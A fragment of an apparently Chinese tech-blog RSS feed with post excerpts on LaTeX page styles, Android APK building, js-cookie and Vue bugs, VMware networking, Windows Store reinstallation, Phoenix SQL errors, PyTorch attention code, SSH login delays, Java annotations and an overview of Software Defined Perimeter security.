页眉页脚有下面四种样式&#xA;empty，页眉页脚空白plain，页眉空白，页脚含居中页码headings，页脚空白，页眉含章节名和页码myheadings，页脚空白，页眉含页码和用户自定义信息。 我们可以用\pagestyle和\thepagestyle命令来设置整个文档或者单独某页。前者为全局设置，后者为当前页设置。&#xA;\hfill是个弹性填充命令，它把两边推得尽可能远，如果要使用特殊符号@，则需要在第一行使用\makeatletter命令声明一下，暂时把它当作正常符号用，用完之后，在最后一行用相应的\makeatother命令恢复现场。&#xA;页眉页脚常用宏变量含义\thepage页码\thechapter章编号\thesection节编号\chaptername章起始单词名，Chapter\sectionname节起始单词名，Section\leftmark左标记，在article文档类包含section信息，在report和book文档类中包含chapter信息\rightmark右标记，在article文档类中包含subsection信息，在report和book中包含section信息 fancyhdr fancyhdr宏包提供更高级的语法。&#xA;\documentclass{article} \usepackage{fancyhdr} \pagestyle{fancy} \lhead{Sam} \chead{PDE} \rhead{CC} \lfoot{sam} \rfoot{yuyu} \usepackage{lipsum} \begin{document} \lipsum*[1] \end{document} </description>
    </item>
    <item>
      <title>手动构建APK流程</title>
      <link>https://bchobby.github.io/posts/a5001426aa2ac588933d5c037a9bd576/</link>
      <pubDate>Wed, 08 Sep 2021 18:04:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5001426aa2ac588933d5c037a9bd576/</guid>
      <description>先忽略构建中的细节，先对主流程有个大致了解。&#xA;如下图所示（方形:表示文件，菱形:表示操作）&#xA;整个构建分为两个主要操作：编译(Compile)、打包(APK Package)编译 ：编译器(Compiler)通过编译 源码 、AIDL文件 、资源文件 、依赖包，最终生成Dex文件和编译后的资源文件。打包 ：打包器(APK Packager)利用签名文件(KeyStore)和上一步编译过程中生成的Dex文件、编译后的资源文件打包成最终的APK文件。 （方形:表示文件，椭圆:表示工具及操作）&#xA;上面这张图，显示了更为详细的构建流程。以虚线为界，前半部分描述了 编译流程 ，后半部分则描述了 打包流程。&#xA;下面具体分析构建流，分为七步（其中编译1-4、打包5-7）：&#xA;使用aapt工具，编译res/文件，生成编译后的二进制资源文件（.ap_文件）、R.java文件。(目前新版使用aapt2工具,R.java也替换成了R.jar)使用aidl工具，根据aidl文件生成对应的Java接口文件使用*Java Compiler工具，Java Compiler（俗称javac）将R.java、项目中的代码、Aidl接口文件编译成.class文件。使用dex工具，将上一步产生的.class文件和第三方依赖中的.class编译成.dex文件。(目前新版使用d8工具）使用apkbuilder工具，将编译后的资源（.ap_文件）、dex文件及其他资源文件(例如：so文件、asset文件等)，压缩成一个.apk文件。使用Jarsigner工具，读取签名文件，对上一步中产生的apk文件进行签名，生成一个已签名的apk文件。使用zipalign工具,对已签名的apk文件进行体积优化（只有v1签名才有这一步，v2签名的apk会在zipalign后签名被破坏）。&#xA;可以参照第二张图中所展示的图片来解读这张流程图。 以椭圆（工具及操作）为线索，按照之前说的构建流程来理解此图。aapt、aidl、javac、dex、apkbuilder Jarsigner、zipalign是不是很熟悉？左边这一大块是关于Render Script、ndk编译的，我们暂时可以将其忽略（相信你读完本篇后不忽略的情况下，也可以自己分析了），只知道它提供.so文件和部分Java文件。&#xA;首先，看看左下角，椭圆操作分为三种：Gradle插件提供（由task完成）、Build工具提供、JDK自带&#xA;以aapt为例，深入分析更详细的构建流程：&#xA;在aapt之前，Gradle插件中的各类Merge类的Task会对Manifest、Res、Assets进行合并，这些被合并的资源可能来自于项目内部、android.jar、arr等第三方。这些合并后的文件作为输入文件，在经过appt编译后，编译后的资源文件、R.java文件,同时aapt也负责合并产生各类的混淆文件。&#xA;另外，在javac与dex操作之间多了一个proguard（混淆），proguard读取.class文件，生成混淆后的.class文件，交给dex(或d8)。&#xA;当我们点击运行的时候gradle是怎么实现上述构建流程的？当我们运行assembleRelease命令进行打包时，咦？这一串是啥玩意？对着上面分析的流程你就知道是啥玩意了。&#xA;//以下两个task是预编译工作，暂不关心 &amp;gt; Task :app:preBuild UP-TO-DATE &amp;gt; Task :app:preReleaseBuild UP-TO-DATE //aidl编译 &amp;gt; Task :app:compileReleaseAidl NO-SOURCE //生成BuildConfig文件 &amp;gt; Task :app:generateReleaseBuildConfig //编译Renderscrip,暂不关心（感兴趣的可以去探究Renderscrip） &amp;gt; Task :app:compileReleaseRenderscript NO-SOURCE //* &amp;gt; Task :app:javaPreCompileRelease //生成资源文件并合并 &amp;gt; Task :app:generateReleaseResValues &amp;gt; Task :app:generateReleaseResources &amp;gt; Task :app:createReleaseCompatibleScreenManifests &amp;gt; Task :app:extractDeepLinksRelease &amp;gt; Task :app:processReleaseManifest &amp;gt; Task :app:prepareLintJar UP-TO-DATE &amp;gt; Task :app:checkReleaseDuplicateClasses &amp;gt; Task :app:desugarReleaseFileDependencies &amp;gt; Task :app:mergeReleaseResources //产生build/intermediates/compile_and_runtime_not_namespaced_r_class_jar/release/R.</description>
    </item>
    <item>
      <title>js-cookie二次过期后二次设置失效</title>
      <link>https://bchobby.github.io/posts/60bd0b87ab2fa81001f23592a7a94ebf/</link>
      <pubDate>Wed, 08 Sep 2021 16:27:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60bd0b87ab2fa81001f23592a7a94ebf/</guid>
      <description>js-cookie在vue使用中过期后无法二次设置 vue中使用js-cookie储存token令牌，token过期后点击任何路由跳转登录界面，点击登录后重新获取token,继续使用cookiejs插入token失效，导致其他初始化接口获取不到token值。&#xA;问题描述： 在本人开发的vue项目中，使用了统一的接口拦截，接口请求前通过cookie获取token属性，然后插入请求头。&#xA;请求拦截代码如下：&#xA;之前使用js-cookie设置token值,token设置过期时间用的是expires属性设置，设置为当前时间加2小时，在有一次上午出门后，下午接着做项目时点击界面，跳转到登录界面，点击登录后一直无法跳转路由，经查看是token没有保存，界面初始化失败。注：界面刷新后可以正常储存token值并进行登录&#xA;原因分析： 通过追踪js-cookie及自己使用原生js储存token信息最终定位到在js-cookie储存cookie过程中设置过期时间使用了toUTCString，将本地时间改为了国际时间，也就是时区为0&#xA;解决方案： 个人猜想是时区问题，导致浏览器的cookie中token值清空，但实际可能在硬盘中没有过期。解决方法个人使用了cookie中的max-age属性，也可以实现cookie失效功能。&#xA;就是需要注意cookie.js中的属性比如都为字符串，所以inFifteenMinutes 值最好加个空字符串拼接不然报错，证据如下，会执行split方法，如果不是字符串直接报错&#xA;// An highlighted block return Cookies.set(TokenKey, token, { &#34;max-age&#34;: inFifteenMinutes }) 相关说明: 目前还不理解为什么储存cookie时过期时间要使用toTUCString改变格式，第一次写博客，如果有误，大佬轻点喷</description>
    </item>
    <item>
      <title>【踩坑向】虚拟机桥接模式连不上网怎么办？</title>
      <link>https://bchobby.github.io/posts/fb6560c1a3412e631c453bd0a6695180/</link>
      <pubDate>Wed, 08 Sep 2021 15:03:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb6560c1a3412e631c453bd0a6695180/</guid>
      <description> 2021年9月8日 今天踩了个大坑，浪费了半天时间。&#xA;公司业务需要我们在物理机上创建若干台虚拟机搭建分布式系统，要求虚拟机网络连接采用桥接模式。然后我就在VMWare Workstation上安装了几台CentOS 7系统的虚拟机，并按照公司给我分配的ip地址设置了网络。&#xA;【物理机ip地址: xxx.xxx.xxx.121】&#xA;我的ip地址段是121-140，所以第一台安装公司软件的控制中心的虚拟机设置为122。&#xA;【虚拟机ip地址：xxx.xxx.xxx.122】&#xA;接下来怪事就发生了。重启网络后虚拟机并没有像我预想的一样能ping通外网，甚至连物理机也无法ping通。然后我尝试了修改别的ip、关闭selinux和防火墙甚至是用同事的ip，都无法顺利联网。&#xA;后来仔细排查，发现在我的VMWare Workstation软件里没有创建桥接模式的虚拟交换机，需要创建一下。&#xA;一般来说桥接模式选择VMnet0。添加完虚拟交换机后把类型改为桥接模式，选择自动桥接。&#xA;再试试能不能连上网。&#xA;成功 😃 </description>
    </item>
    <item>
      <title>精简版WIN10 LTSB LTSC安装Microsoft Store</title>
      <link>https://bchobby.github.io/posts/2a7f5bc6a3c346a96de6134bca5b46e1/</link>
      <pubDate>Wed, 08 Sep 2021 15:01:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a7f5bc6a3c346a96de6134bca5b46e1/</guid>
      <description>为Windows 10 Enterprise LTSB LTSC增加应用商店 适用于Windows 10 Enterprise 2015 / 2016 LTSB LTSC 或 Windows Enterprise 2015 / 2016 LTSB N LTSC&#xA;下载地址&#xA;要开始安装, 请打包下载后用右键管理员运行 Add-Store.cmd 如果您不想安装App Installer / Purchase App / Xbox，请在运行安装之前删除对应的.appxbundle后缀的文件。但是，如果您计划安装游戏，或带有购买选项的应用，则不要删除。&#xA;如果装完之后商店仍然打不开，请先重启试试。如果仍然不行，请以管理员身份打开命令提示符并运行以下命令之后，然后再重启试试。&#xA;PowerShell -ExecutionPolicy Unrestricted -Command &#34;&amp;amp; {$manifest = (Get-AppxPackage Microsoft.WindowsStore).InstallLocation + &#39;\AppxManifest.xml&#39; ; Add-AppxPackage -DisableDevelopmentMode -Register $manifest}&#34;&#xA;商店修复 Win+R打开运行，输入WSReset.exe回车。&#xA;该命令会清空并重置Windows Store商店的所有缓存。&#xA;如果出现下载软件失败 做如下设置重启电脑&#xA;1、DNS设置 4.2.2.1 4.2.2.2 成功登录上以后恢复默认DNS&#xA;2、管理员运行CMD命令 Netsh winsock reset 重启电脑更新下Store即可</description>
    </item>
    <item>
      <title>phoeinx报错、格式错误</title>
      <link>https://bchobby.github.io/posts/eda7d4634a4dc5323c85540f4a5111b1/</link>
      <pubDate>Wed, 08 Sep 2021 11:58:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eda7d4634a4dc5323c85540f4a5111b1/</guid>
      <description>新增数据时： UPSERT INTO “ORDER_DTL” VALUES(‘02602f66-adc7-40d4-8485-76b5632b5b53’,‘已提交’,4070,1,‘4944191’,‘2020-04-25 12:09:16’,‘手机;’);&#xA;报错信息：&#xA;UPSERT INTO &#34;ORDER_DTL&#34; VALUES(&#39;02602f66-adc7-40d4-8485-76b5632b5b53&#39;,&#39;已提交&#39;,4070,1,&#39;4944191&#39;,&#39;2020-04-25 12:09:16&#39;,&#39;手机;&#39;); Error: ERROR 601 (42P00): Syntax error. Encountered &#34;UPSERT INTO &#34; at line 1, column 1. (state=42P00,code=601) org.apache.phoenix.exception.PhoenixParserException: ERROR 601 (42P00): Syntax error. Encountered &#34;UPSERT INTO &#34; at line 1, column 1. at org.apache.phoenix.exception.PhoenixParserException.newException(PhoenixParserException.java:33) at org.apache.phoenix.parse.SQLParser.parseStatement(SQLParser.java:111) at org.apache.phoenix.jdbc.PhoenixStatement$PhoenixStatementParser.parseStatement(PhoenixStatement.java:1644) at org.apache.phoenix.jdbc.PhoenixStatement.parseStatement(PhoenixStatement.java:1727) at org.apache.phoenix.jdbc.PhoenixStatement.execute(PhoenixStatement.java:1819) at sqlline.Commands.execute(Commands.java:822) at sqlline.Commands.sql(Commands.java:732) at sqlline.SqlLine.dispatch(SqlLine.java:813) at sqlline.SqlLine.begin(SqlLine.java:686) at sqlline.SqlLine.start(SqlLine.java:398) at sqlline.SqlLine.main(SqlLine.java:291) Caused by: NoViableAltException(108@[]) at org.</description>
    </item>
    <item>
      <title>Parameter的使用</title>
      <link>https://bchobby.github.io/posts/080fd1a7eb717db091bd4027fdee8648/</link>
      <pubDate>Wed, 08 Sep 2021 10:09:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/080fd1a7eb717db091bd4027fdee8648/</guid>
      <description> class Attention(nn.Module): &#34;&#34;&#34; 层级Attention，汇集某方玩家的轨迹为一个向量 &#34;&#34;&#34; def __init__(self): super(Attention,self).__init__() self.w_omega = nn.Parameter(torch.Tensor(32,32)) # hidden_layer self.u_omega = nn.Parameter(torch.Tensor(32,1)) nn.init.uniform_(self.w_omega,-0.1,0.1) nn.init.uniform_(self.u_omega,-0.1,0.1) self.attention = nn.Softmax(dim=0) # 注意我们没有batch维度 def forward(self,x): self.w_omega.data = torch.clamp(self.w_omega,max=-1) u = torch.tanh(torch.matmul(x,self.w_omega)) # k*hidden att = torch.matmul(u,self.u_omega) # k*1，内积 att_score = self.attention(att) # k*1 score_x = x * att_score # k*hidden,broadcast out = torch.sum(score_x,dim=0) # hidden return out,att_score </description>
    </item>
    <item>
      <title>Failed to set the ‘value‘ property on ‘HTMLInputElement‘...（VUE）</title>
      <link>https://bchobby.github.io/posts/458c61ab881bdf9003481708132d4ab7/</link>
      <pubDate>Wed, 08 Sep 2021 09:46:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/458c61ab881bdf9003481708132d4ab7/</guid>
      <description>一个神奇的问题：runtime-core.esm-bundler.js?5c40:140 DOMException: Failed to set the ‘value’ property on ‘HTMLInputElement’: This input element accepts a filename, which may only be programmatically set to the empty string…&#xA;没改之前代码：&amp;lt;img src=&#34;../assets/logo.png&#34; alt=&#34;网页logo&#34; /&amp;gt;&#xA;改之后代码：&#xA;`import imageUrl from &#39;../assets/logo.png&#39;;` data() { return { imageUrl: imageUrl } }, &amp;lt;img :src=&#34;imageUrl&#34; alt=&#34;网页logo&#34; /&amp;gt; 我用的vue-cli搭建基础VUE框架，原因貌似是在打包的时候路径会变，所以我们需要导入静态图片！&#xA;或许解释不够准确，欢迎评论告诉我原因，抱拳了 &amp;gt; _ &amp;lt;&#xA;注意：&#xA;在浏览资料的时候发现：谷歌火狐貌似不支持video和audio的自动播放autoplay, 所以当用到这两个标签时加自动播放也可能造成类似问题。</description>
    </item>
    <item>
      <title>SSH登录太慢(很长时间才提示输入密码)的问题</title>
      <link>https://bchobby.github.io/posts/8a161973eed3ec8a70b2fd7a22457c67/</link>
      <pubDate>Wed, 08 Sep 2021 00:03:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a161973eed3ec8a70b2fd7a22457c67/</guid>
      <description> SSH登录太慢(很长时间才提示输入密码)的问题 SSH 登录太慢可能是 DNS 解析的问题，如果 DNS 的反向解析不正确，sshd 就会等到 DNS 解析超时后才提供 ssh 连接，这样就造成连接时间过长、ssh 客户端等待的情况，一般为10-30秒左右。有个简单的解决办法就是在 sshd 的配置文件（sshd_config）里取消 sshd 的反向 DNS 解析。&#xA;解决方法如下： vim /etc/ssh/sshd_config 将 #UseDNS yes改为 UseDNS no #重启sshd systemctl restart sshd </description>
    </item>
    <item>
      <title>java自定义注解</title>
      <link>https://bchobby.github.io/posts/de81e44b71d4e129a79b82e30528b112/</link>
      <pubDate>Tue, 07 Sep 2021 21:31:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de81e44b71d4e129a79b82e30528b112/</guid>
      <description>理解 @interface是注解的关键字，它和java中的class、interface、Enum是同级别的。它可以用于修饰 修饰，类、方法、变量、参数、包 。作用是使得加上了注解的“目标”实现额外的功能。 注解就是一种标志，单独使用注解，就相当于在类、方法、参数和包上加上一个装饰，什么功能也没有，仅仅是一个标志。一般情况下需要通过拦截器、AOP切面这些地方获取注解标志，并实现额外的功能。&#xA;元注解 元注解是指由java提供的基础注解类型，一共有4个，分别是@Target、@Retention、@Inherited、@Documented。在自定义注解的时候，需要加上元注解来配置自定义注解的属性。&#xA;# @Target用于描述自定义注解的使用范围，该注解可以使用在什么地方 ElementType.TYPE 应用于类、接口（包括注解类型）、枚举 ElementType.FIELD 应用于属性（包括枚举中的常量） ElementType.METHOD 应用于方法 ElementType.PARAMETER 应用于方法的形参 ElementType.CONSTRUCTOR 应用于构造函数 ElementType.LOCAL_VARIABLE 应用于局部变量 ElementType.ANNOTATION_TYPE 应用于注解类型 ElementType.PACKAGE 应用于包 ​ # @Retention 表明该注解的生命周期 RetentionPolicy.SOURCE 编译时被丢弃，不包含在类文件中 RetentionPolicy.CLASS JVM加载时被丢弃，包含在类文件中，默认值 RetentionPolicy.RUNTIME 由JVM 加载，包含在类文件中，在运行时可以被获取到 一般情况下使用RetentionPolicy.RUNTIME ​ # @Inherited：它表示自定义注解是被继承的。如果一个类用上了@Inherited修饰的自定义注解，那么其子类也会继承这个自定义注解 这个用的很少 ​ # @Documented：表明该注解标记的元素可以被Javadoc 或类似的工具文档化 没啥用 注解里面的属性 。。。&#xA;SpringAOP 。。。&#xA;springAOP+自定义注解实例 自定义注解的定义，如果只定义注解，那么该注解就仅仅只是装饰而没有任何作用&#xA;@Retention(RetentionPolicy.RUNTIME)//表明该注解在java运行时也有效 @Target(ElementType.METHOD)//表明改注解只能使用在方法上 public @interface IsRun { } 注解切面处理类 额外的功能由该类实现，这里新增一个校验的功能&#xA;@Aspect//spring的AOP @Component//注册bean @SuppressWarnings(&#34;all&#34;)//告诉编译器忽略所有的警告 public class IsRunServiceAspect { @Autowired private IsRunService isRunService; //表示将使用了自定义注解的方法，作为一个切入点 @Pointcut(&#34;</description>
    </item>
    <item>
      <title>SDP（软件定义边界）让SDN更安全,你的对面可不能是一条狗！</title>
      <link>https://bchobby.github.io/posts/7578f06a8d0c716e82dae0a2484421fb/</link>
      <pubDate>Tue, 07 Sep 2021 19:58:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7578f06a8d0c716e82dae0a2484421fb/</guid>
      <description>编者按：近年来，软件定义网络(SDN)如同海藻一样疯狂地席卷全球。但火热的SDN真的安全吗？Gartner分析师Neil MacDonald表示“SDN创建了一个抽象层，这将带来很多新的攻击面，例如OpenFlow协议、供应商API等”。为解决这难题，一种新型的安全模型软件定义边界（Software Defined Perimeter）诞生了,国际云安全联盟（CSA）表示“SDP被设计为与软件定义网络（SDN）高度互补”。&#xA;1993年，美国著名卡通漫画家Peter Steiner发表了一幅闻名全球的漫画：一条狗蹲在电脑前对另一条狗说“互联网上没人知道你是一条狗”。这句话放在今天也依旧正确。当你坐在电脑旁真的能确定你对面的“用户”是谁？如何验证远程连接对面的人(或者狗)，是网络安全工作的一大重要问题。&#xA;SDP到底是什么？ 软件定义的边界（SDP）是由云安全联盟（CSA）开发的一种安全框架，它根据身份控制对资源的访问。该框架基于美国国防部的“need to know”模型——每个终端在连接服务器前必须进行验证，确保每台设备都是被允许接入的。其核心思想是通过SDP架构隐藏核心网络资产与设施，使之不直接暴露在互联网下，使得网络资产与设施免受外来安全威胁。&#xA;SDP有时被说成是“黑云”，因为应用架构是“黑”的——根据美国国防部的定义，这个“黑”代表了架构无法被检测到。如果攻击者无法知道目标在何方，那么攻击将无法进行。因此，在SDP架构中，服务器没有对外暴露的DNS或者IP地址，只有通过授权的SDP客户端才能使用专有的协议进行连接。&#xA;SDP架构与部署模式 SDP的体系结构由两部分组成：SDP主机和SDP控制器。SDP控制器主要进行主机认证和策略下发。SDP主机和SDP控制器之间通过一个安全的控制信道进行交互。&#xA;SDP控制器是SDP的大脑，在业务驱动的前提下，它在访问者和资源之间建立动态和细粒度的“业务访问隧道”，不同于传统VPN隧道，SDP的隧道是按照业务需求来生成的，也就是说这是一种单包和单业务的访问控制，SDP控制器建立的访问规则只对被授权的用户和服务开放，密钥和策略也是动态和仅供单次使用的。通过这种类似“白名单”的访问控制形式，网络中未被授权的陌生访问在TCP链接建立阶段就是完全被屏蔽和拒绝的，这种“临时并单一”的访问控制方式，将私有云资源对非法用户完全屏蔽，这样便大大防止了门外“野蛮陌生人”对云的暴力攻击（如DDoS流量攻击）、精准打击（如APT持续威胁）、漏洞利用（如心脏出血漏洞）等，通过构建“暗黑网络”来减小网络的被攻击面。&#xA;SDP工作流如下：&#xA;一个或多个SDP控制器上线，并且和可选的认证和授权服务建立连接；一个或多个可接受连接的SDP主机上线，这些主机与控制器建立连接并被控制器认证。然而，这些主机并不对其他主机的通信进行应答，也不会响应非预分配的请求；每一个发起连接的SDP主机上线，它和控制器建立连接并被控制器认证；在认证通过后，SDP控制器确定一个发起连接的主机可以被授权通信的主机列表；SDP控制器通过加密信道通知可接受连接的SDP主机，以及一些可选的策略；SDP控制器将可接受连接的主机的列表和可选的策略发送给发起连接的主机；发起连接的SDP主机与所有授权的可接受连接的主机之间建立Mutual TLS连接。 云安全联盟（CSA）列出了4种SDP部署模式。&#xA;客户端到网关部署将服务器置于接受主机后面，该主机充当受保护服务器和客户端之间的网关。客户端到网关SDP可以部署在网络内，以减少诸如操作系统（OS）和应用程序漏洞利用，中间人攻击和服务器扫描等横向移动攻击。它还可以直接部署在互联网上，以便将受保护的服务器与未经授权的用户隔离开来，并减轻攻击。客户端到服务器部署类似于客户端到网关部署，客户端和服务器之间没有网关代理。客户端直接连接到主机。服务器到服务器部署，用于向应用程序提供服务（通过REST API）的服务器。客户端到服务器到客户端的实现依赖于客户端之间的对等（P2P）关系，可以用于聊天，视频会议，IP电话等应用程序。在此部署中，SDP模糊了连接客户端的IP地址，服务器充当两个客户端的中介。 为什么需要SDP？ 为了阻止所有类型的网络攻击，包括DDoS、中间人攻击、服务器查询(OWASP十大威胁之一)和高级持续性威胁(ATP)，SDP的安全模型融合了设备身份验证、基于身份的访问和动态配置连接三大组件，虽然SDP中的安全组件都很常见，但这三者的集成却是相当创新的。&#xA;SDP要求用户拿出多种身份验证变量，比如时间、位置、机器健康状况和配置等，用以证实该用户身份，或者验证用户能否被信任。这一上下文信息可使公司企业识别出非法用户——即便该用户持有合法用户凭证。&#xA;访问控制是动态的，能够应对风险和权限提升。用户与系统和应用间的互动是实时的。在会话中，用户可以执行任意数量不同风险级别的事务。举个例子，用户可以多次查看电子邮件、打印机密文档，以及更新企业博客。当用户行为或环境发生变化时，SDP会持续监视上下文，基于位置、时间、安全状态和一些自定义属性实施访问控制管理。&#xA;SDP还能够脚本化，以便能够检查除设备信息之外的更多情况。SDP能够收集并分析其他数据源，以提供上下文，帮助进行用户授权动作。这能确保在合法用户试图访问新设备或不同设备上资源的时候，有足够的信息可供验证用户并授权访问。&#xA;一旦用户可被验证，我们就可以确信用户是谁（可能是骗子或狗狗），SDP在用户和所请求的资源间创建一条安全的加密隧道，保护二者之间的通信。而且，网络的其他部分则被设为不可见。通过隐藏网络资源，SDP可减小攻击界面，并清除用户扫描网络和在网络中横向移动的可能性。&#xA;最后，因为当今IT环境的复杂性和巨大规模，SDP需可扩展并高度可靠。最好是打造得像云一样能够容纳大规模扩展，且是分布式和恢复力强的。&#xA;SDP使用案例 SDP可以支持大量的用例，这些用例可以帮助IT领导人支持新的业务活动，简化IT架构和操作。许多企业已经在为各种关键用例使用软件定义的边界。需要注意的是，并不是所有的SDP服务都是以相同的方式构建的，所以安全和网络专家在部署SDP时，应该根据实际场景来规划部署方式。下表中列举了一些SDP的应用场景:&#xA;SDP与传统VPN的区别 目前，虚拟专用网络（VPN）是很多公司远程访问的解决方案之一。但是，VPN用户一旦获得授权就可以广泛访问公司网络上的资源。这种广泛访问的方法使潜在的敏感资源和信息暴露给VPN用户和攻击者。因此，围绕软件定义的边界解决方案（SDP）成为安全远程访问的一个更具吸引力的替代方案。&#xA;传统的VPN具有过度信任、访问广泛、复杂等问题。首先传统VPN遵循以网站为中心的拓扑结构，具有广泛的信任度。其次在传统的VPN网络访问中，一旦用户登陆了VLAN，他们的主机就可以广播地址解析协议（ARP），以检查是否有其他东西连接到这个网段。由于地址解析协议是建立在网络中各个主机互相信任的基础上的，网络上的主机可以自主发送ARP应答消息，其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存；由此攻击者就可以向某一主机发送伪ARP应答报文，使其发送的信息无法到达预期的主机或到达错误的主机，这最终会创建一个相当大的攻击界面，供黑客使用。最后，在企业迁移到云时，VPN管理变得复杂。IT管理员必须在不同的地理位置配置和协调VPN、防火墙策略。这反过来又很难拦截未经授权的访问。&#xA;软件定义边界完全颠倒了传统的网络安全模型，每个网络资源、用户、设备和数据中心、应用程序都可以连接到SDP云。与传统的以站点为中心的方法相反，用户现在成为网络的中心。在这种情况下，我们拥有一个以用户为中心的拓扑结构，用户位于中心，可以从任何地方访问应用程序，无论是在云端还是旧数据中心。&#xA;整个软件定义的边界模型假定为零信任。它假设用户、设备和服务之间不存在任何信任。零信任不仅基于身份：用户的ID，他们的设备，还包括他们访问的服务、应用程序和网络。基于身份的访问控制用于阻止或允许网络连接。&#xA;在配置方面，传统的VPN需要配置在每个数据中心和云上。而通过SDP，管理员可以向平台添加一次网络资源，然后以集中方式管理云中的所有策略。使用完全基于云的SDP解决方案的另一个好处是，在授予数据中心或虚拟私有云内的访问权限时，几乎不需要额外的配置和维护。所有与安全相关的活动，都在云中执行。&#xA;总之，SDP的安全远程访问机制吸引了众多企业的关注。它为用户和资源实现了自定义的网络访问策略。这些资源对于未授权的用户来说是不可见的，减少了潜在的攻击面。SDP解决方案以客户为导向，使其更易于控制、全面适用和灵活。这些特点超越了传统VPN服务的优点。&#xA;SDP与SDN高度互补 当提到软件定义边界时，可能会有人问“它与软件定义的网络（SDN）有关系吗？” 云安全联盟（CSA）表示“SDP被设计为与软件定义网络（SDN）高度互补”。似乎SDP是为了预防网络攻击而实施的SDN。&#xA;根据定义，SDN是一种计算机网络方法，允许网络管理员通过抽象出更高级别的功能来管理网络服务。SDN通过控制平面和转发平面分离来管理网络基础设施。它具有动态性、可管理性、成本效益和适应性，是当今各组织的理想选择。&#xA;SDP是一个安全控制框架，在授予对应用程序基础结构的访问权限之前，设备和身份是经过验证的。因此，虽然SDN是建立动态网络基础设施的概念，让用户能够以尽可能多的吞吐量快速有效地进行点对点连接，但SDP遍历多个OSI层，使用经过审查的安全模型将应用程序和用户与可信网络联系起来。二者高度互补，对于未来的云技术来说，它们显然比传统的IT系统更安全。&#xA;SDN和SDP相结合能为网络管理和安全带来1+1&amp;gt;2的效果。首先当组织需要管理和保护不断增长的数据量时，完整的网络可见性和透明度是必不可少的。通过SDN和SDP提供网络自动化和业务流程，可以创建更多数据，以提供有价值的见解和及时的警报，为IT管理人员提供安全分析的良好基础。其次，SDP与SDN功能密切配合可以从设备到应用程序提供安全的点对点网络隧道，在动态基础上最小化网络攻击面。所以，SDP与SDN的结合对于云技术、网络安全都有深远意义。&#xA;SDP潜在的挑战 尽管SDP给出了零信任条件下、满足现代企业数据保护需求的访问控制模型，但从框架到落地实现还涉及到许多技术问题及资源整合；同时，即使在此完成基础上，SDP自身仍有一些能力缺陷。&#xA;SDP方法的最大挑战之一是带外控制器，当初始认证请求完成后，认证的信息不会停留在实际的数据路径中。假设一个用户连接到企业应用程序的场景，在通过SDP控制器进行初始认证和授权之后，客户端或IH将根据策略和端口号通过SDP网关建立一个带有应用程序服务的隧道。如果同一用户感染了恶意软件，它可以很容易地通过开放端口传播到其他应用程序。无论是物理的还是逻辑的安全域总是有既定边界，而对于某些开放业务、包括一些实际需求往往不得不违背信息流安全策略，即高安全域内的敏感数据需要流向低安全域，这是SDP本身无法解决的。例如，假设存在内、外两个不同等级的安全域：银行向监管机构上报数据相当于从内网流向外网；供应链上下游厂家给平台提交数据也是从内部流向外部。其实无论是组织内外都大量存在类似的案例。因此，即使有安全边界但所谓泄漏通道在现实场景中也是必须考虑的。SDP面临的另一类挑战是难以解决横向攻击。理论上，SDP通过隐藏网络资源，侧重规划安全策略的实施空间和范围，减小攻击面，但没有落地安全策略的实施机制。因此，无论是某个终端还是服务器第一时间被攻破后，攻击很可能转移至其它设备或应用，即横向攻击。 商业解决方案 目前市场中有很多商业和开源解决方案提供SDP功能。Vidder和CryptZone有推向市场的SDP解决方案。一些网络软件产品中也提供SDP中的关键元素，例如Cisco ACI（以及类似的开源项目），VMware NSX，Nuage VSP。谷歌已经发布了BeyondCorp来分享这些概念。Cisco，HPE，Juniper提供的NAC解决方案也提供类似SDP的解决方案。Verizon Enterprise等服务提供商已开始接受这些概念。软件定义边界的概念被许多安全或网络设备供应商采用。&#xA;Vidder是软件定义边界（SDP）计划的先驱。Vidder的可信访问控制技术利用除了授权用户外所有人都看不到服务器的方法，来减轻网络的攻击。Vidder公司较出名的SDP解决方案是PrecisionAccess。PrecisionAccess只允许受信任的客户端访问企业应用程序，隔离受感染的设备。无论应用程序是在内部还是云端，PrecisionAccess都可以保护应用程序和服务器免受未经授权的用户，未注册的设备的攻击。PrecisionAccess架构在连接层和应用层运行，而不是使用传统的基于网络的控件，因此成本较低。&#xA;Cryptzone的AppGate SDP是一种新的安全方法。它使用Software Defined Perimeter（软件定义边界）保护网络，该模型可动态地在用户与其访问的资源之间创建一对一的网络连接。AppGate 3.0版本增加了新功能，可帮助组织提供安全，经过身份验证的资源访问，包括单数据包授权技术，可防止未经授权的用户隐藏网络资源。从技术角度来看，该方案有一个控制器，它充当SDP网络的集中身份验证点和策略存储点。另外，还有一组保护网络资源的网络网关，安装在端点设备上的客户端。客户端用于创建一个安全的、加密的虚拟专用网络（VPN）隧道，以便在策略允许的情况下访问资源。AppGate SDP也可在各种云市场中使用。&#xA;Zscaler Private Access采用以用户和应用程序为中心的网络安全方法。它确保只有授权用户和设备才能访问特定的内部应用程序。ZPA不使用物理或虚拟设备，而是使用轻量级基础架构软件将用户和应用程序连接到Zscaler Security Cloud。ZScaler Private Access解决方案类似SDP的安全概念，Zscaler Connector相当于是SDP网关，ZApp客户端是Initiating主机，Central Authority是SDP Controller。Broker（ZEN）是一个额外的组件，它消除了对数据中心或云网络段的传入连接的需求。在客户端和连接器之间添加了一层额外的Mutual TLS，以提供额外的加密和信任层。</description>
    </item>
    <item>
      <title>MPP架构</title>
      <link>https://bchobby.github.io/posts/43256dc8e39138a30ae6a5285bcacca6/</link>
      <pubDate>Tue, 07 Sep 2021 18:42:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43256dc8e39138a30ae6a5285bcacca6/</guid>
